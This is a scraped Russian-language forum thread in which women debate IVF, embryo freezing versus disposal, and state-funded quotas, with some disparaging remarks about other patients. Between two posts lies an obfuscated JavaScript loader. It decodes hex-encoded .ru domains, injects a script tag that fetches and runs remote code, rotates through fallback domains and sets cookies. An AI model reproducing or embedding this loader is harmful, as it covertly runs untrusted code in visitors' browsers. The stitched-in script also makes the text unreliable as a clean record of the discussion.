Это потому что ЭКО стало доступно всем подряд. Не всегда именно тем, кому реально нужно. Я не берусь осуждать, но тем кто реально идет к этому годами - в голову утилизировать не придет. Но все мы разные. Для кого-то это норма.
Москва
У меня два свежих ЭКО протокола и две дочки, то есть я в числе везунчиков, у кого получилось с первого раза. Я безумно благодарна Богу за это. В первом протоколе в крио не осталось ничего(( я даже не говорю о том, как тяжело и противопоказано мне было снова идти в свежий протокол(по здоровью), я с ужасом вспоминаю две гиперстимуляции. Конечно, я была бы счастлива если б у меня осталось в крио с первого раза и я бы ни за что не утилизировала эмбрионы. Зато во втором протоколе у меня остались крошки-криошки и моя мечта дать им жизнь) когда я обнимаю своих девочек я не могу себе представить, что можно просто взять и отказаться от такого счастья. Удачи вам!
Москва
Да, очень возмущают рассуждения " бесплатниц"на тему:" аж 7000за анализы заплатилаэто обдираловка" или" теперь ещё и за крио платить"
Да, девочки! Как то вот так! О каких высоких мыслях речь может идти? Деньги для людей превыше всего. Это от недалекого ума.
Москва
Ещё очень "добрые" друзья бывают: "тебя просто разводят на деньги, зачем тебе каждую неделю сдавать эти анализы". Особенно веселит, когда эти анализы даже не в этой клинике сдаются, а в любой лаборатории...
Москва
У меня никто не знал, Поделилась только с подругой из Израиля. Она мне так:фи, то за анализ такой Амг. Сказали, нет такого. И что там тебе назначают. Смотрю на русских, которые в Израиле делают. Наверное больше трясутся, что деньги потратили, а не от отрицательно результата... Что я ей могу об,яснить. Если у них хоть 100 попыток почти бесплатно до определённой возраста. Безумно нкприятнотакое слушать.
Ничего не объяснить. Это правда!
Домодедово
Я недавно немного с такой девочкой пообщалась тут, скинула фотку своего криошечки, как бы я его в утилизацию (!!!). А они от заморозки 4 Э отказались, типа, у с первого раза все получится, а если нет, снова квоту оформят.
Екатеринбург
Да, каждый сам решает, и это их личное дело, просто очень жаль и их упущенных возможностей и возможностей других - которых не смогли получить из-за того, что в очередь не попали...
Домодедово
Свои мозги другому не вложишь. Кому-то с опытом придет. А кто-то почитает нас и передумает, хочется верить)))
Девочки о чем вы,такая категория дам эмбрионов за человечков не считает,так же как те которые делают аборты за абортом,а ведь аборт это уже человек,с бьющемся сердечком,так,что разговоры эти бесполезны,я машину продала,кредит до сих пор плачу при зарплате в 15 тысяч,и не реву,пошла по омс,езжу в другой город,а это 700 рублей только на проезд 10 приемов это уже 7 тысяч,я понимаю,после 4-х неудач,что лучше влезть в кредит,чем проходить все по кругу,если бы тогда давали одиноким женщинам квоту со спермой донора я бы сэкономила,450 тысяч,и то у меня было 3 крио чему я просто очень и очень рада.А этим дурочкам видимо не понять наших проблем у них свои деньги сэкономить.
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
Москва
Первое Эко я дела по омс,получилось 3 эмбриончика, одного подсадили,два я заморозила. Криоконсервация 8000 и по 1000 в месяц платить за хранение. Первый раз был пролет и мы решили продолжать за свой счет. 23000 гистероскопия и 19500 стоит криоперенос. Вторая попытка удачная,вчера сдала хгч -695. И у нас еще остался один эмбриончик. Девочки пока вы будете ждать снова квоту года три пройдет. Одумайтесь. Всем удачи в протоколах!!!
Екатеринбург
Я тоже первое по ОМС делала и все получилось с первого раза и было удачно до.... Но тогда вообще ничего на крио не осталось. И я была бы счастлива если бы была возможность крио. Ни какие деньги не заменят годы ожидания.
Москва
Мне как девушке , которой удалили яичники никогда не понять этого . Я повторю НИКОГДА. Не могу слышать это их выбор , они сами решают кого спустить в унитаз и т.д. Вот это огромный минус в законе, нужно прописать что решать должны не горе мамаши которым все равно сколько эмбрионов получилось , а клиника , т.е если нужно кого-то морозить значит нужно морозить. Я готова бороться за каждую клеточку, и благодарна донору за каждую клеточку. Эмбриологи добиваются оплодотворения, а они потом их в унитаз. Мне правда этого не понять .... Ну как так то. Таким как я квоты не дают, нудно обписаться в минздрав что бы возможно получить квоту, а так просто нееее, "Вам не положено "! А интересно это кто то читает из таких?
К сожалению,это не от большого ума.Но всех не надо под одну гребенку:у меня третий был протокол бесплатный и было 3 эмбриона,я хотела,чтобы одного заморозили-хотя бы,но была пятница конец рабочего дня и эмбриологи сказали :морозить не надо сажайте 3х,а не прижились и в крио ничего...Обидно. Просто наше государство тоже неправильно квоты выделяет:кто-то раз в год делает,кто-то 3 раза в год,а кто-то раз в 3,5 года...
Екатеринбург
Да, согласна, возможно если бы крио тоже было за счет ОМС, то и девочкам нужно было бы меньше свежих протоколов проходить ,но... к огромному сожалению пока крио за счет ОМС нет. И это обидно и обидно то, что кто-то имея возможности, не за такие уж огромные деньги, ими не пользуется.
Москва
Я о том, что такие люди существуют, узнала в протоколе. Тоже возмущалась. К сожалению, это отрицательная сторона бесплатных программ. Женщинам дали эту возможность, и многие даже не вникают, что они делают. Анализы-то скрипя сердцем сдают!!!! Моё криочудо сейчас спит в животике, остальные в клинике ждут своего часа.
Екатеринбург
Дай БОГ вам легкой беременности и родов в положенный срок!
Тоже этого понять не могу. Я рыдала, когда узнала что из 7 эмбрионов 6 погибли и до 5 дня не дожили. Хотя им наверное проще жить, потенциальных деток не жалко, собственное здоровье не жалко, живут одним днём, а что там дальше будет никого не волнует.
Екатеринбург
Абсолютно согласна. Тут ведь не только деньги играют роль - здоровье тоже страдает.
Просто эти девочки видимо не в курсе, какой вред здоровью приносит каждая стимуляция и овариальный запас не бесконечен!
Екатеринбург
Возможно. Просто всегда врачи все же предупреждают обо всех последствиях. Да и возраст у всех не "бесконечен" ))). Я просто думаю ,что если бы они не по ОМС делали, а за свой счет, то скорее всего от крио бы не отказывались.
Москва
Да уж, тут последнюю копеечку не жалеешь на заморозку и тд, а некоторые вот так добром разбрасываются
Москва
Ну сейчас весна у психически больных людей обострение, по очень многим причинам психически здоровый человек так делать не станет
Екатеринбург
Согласна, но для ОМС все же нужна справка))))), то ли мне давали не ту.... то ли я ничего не понимаю!